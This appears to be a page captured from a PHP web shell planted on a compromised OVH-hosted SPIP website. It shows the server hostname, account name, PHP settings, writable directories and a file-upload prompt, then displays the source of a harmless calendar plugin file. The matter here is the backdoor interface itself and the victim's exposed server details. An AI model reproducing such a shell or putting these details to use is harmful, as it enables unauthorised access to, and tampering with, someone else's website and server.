Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/unienfants/plugins/auto/calendrier_mini/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/unienfants/plugins/auto/calendrier_mini/calendriermini_fonctions.php
<?php

/**
 * Balises et critères du calendrier mini
 *
 * @package SPIP\CalendrierMini\Fonctions
**/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;	#securite
}

if (!defined('VAR_DATE')) {
	define('VAR_DATE', 'archives');
}

function balise_DATE_ARCHIVES($p) {
	$p->code = "_request('" . VAR_DATE . "')";

	#$p->interdire_scripts = true;
	return $p;
}

function critere_archives($idb, &$boucles, $crit) {
	$boucle = &$boucles[$idb];
	$objet = objet_type($boucle->id_table);
	$date = objet_info($objet, 'date');
	$champ_date = "'" . $boucle->id_table . '.' .
	$date . "'";
	$boucle->where[] = [
		"'REGEXP'",
		$champ_date,
		"sql_quote(('^' . interdire_scripts(entites_html(@\$Pile[0]['" . VAR_DATE . "']))))"
	];
}

/**
 * Crée un array d'un intervalle de jour entre la date de début $start et la date de fin $end
 *
 * $start datetime SQL - La date de début
 * $end datetime SQL La date de fin
 */
function calendriermini_intervalle($start, $end = false) {
	$jours = [];
	$starttime = strtotime($start);
	$startdate = date('Y-m-d', $starttime);
	$jours[] = $startdate;
	if (!$end) {
		return $jours;
	}
	$enddate = date('Y-m-d', strtotime($end));
	$starttime = $starttime + (3600 * 24);
	while (($date_test = date('Y-m-d', $starttime)) < $enddate) {
		$jours[] = $date_test;
		$starttime = $starttime + (3600 * 24);
	}
	$jours[] = $enddate;
	return array_unique($jours);
}

/**
 * Transforme un timestamp en date au format SQL
 *
 * @param int $t Timestamp
 * @return string Date au format SQL
**/
function todate($t) {
	return date('Y-m-d H:i:s', $t);
}

SAMX